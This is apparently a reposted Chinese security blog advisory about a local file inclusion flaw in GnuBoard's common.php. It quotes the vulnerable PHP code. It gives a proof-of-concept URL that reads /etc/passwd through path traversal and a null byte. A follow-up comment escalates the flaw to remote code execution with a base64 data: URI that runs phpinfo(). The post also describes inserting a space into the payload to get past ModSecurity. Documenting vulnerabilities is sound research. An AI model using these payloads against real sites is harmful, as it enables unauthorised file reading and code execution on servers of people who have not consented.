作者: Flyh4t
GnuBoard是韩国比较常见的一个论坛,存在较多的漏洞,其中common.php存在一个文件包含漏洞
看common.php代码
@extract($_GET); @extract($_POST); @extract($_SERVER); …… if (!$g4_path || preg_match("/://///", $g4_path)) die("<meta http-equiv='content-type' content='text/html; charset=$g4[charset]'><script language='JavaScript'> alert('肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.'); </script>"); //if (!$g4_path) $g4_path = "."; $g4['path'] = $g4_path; //只限制了$g4_path不能有字符 :// unset($g4_path); include_once("$g4[path]/lib/constant.php"); //本地文件包含漏洞 include_once("$g4[path]/config.php"); include_once("$g4[path]/lib/common.lib.php");
poc(鬼仔注:请自行去除poc中的那个空格,不加空格的话我这里发不出去,会被ModSecurity给返回501错误)
http://test.com/GnuBoard/common.php?g4_path=../../../../../../../e tc/passwd%00
————鬼仔注:下面的是二楼说的—————-
q1ur3n:
在Ryat牛的提示下,这个本地包含晋升为远程代码执行漏洞。
bypass_local.php
<?php if (!$g4_path || preg_match("/://///", $g4_path)) die("fuck"); $g4['path'] = $g4_path; unset($g4_path); include_once("$g4[path]/lib/constant.php"); ?>
在allow_url_include = On且PHP >= 5.2.0的条件下
提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=
成功执行phpinfo()
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论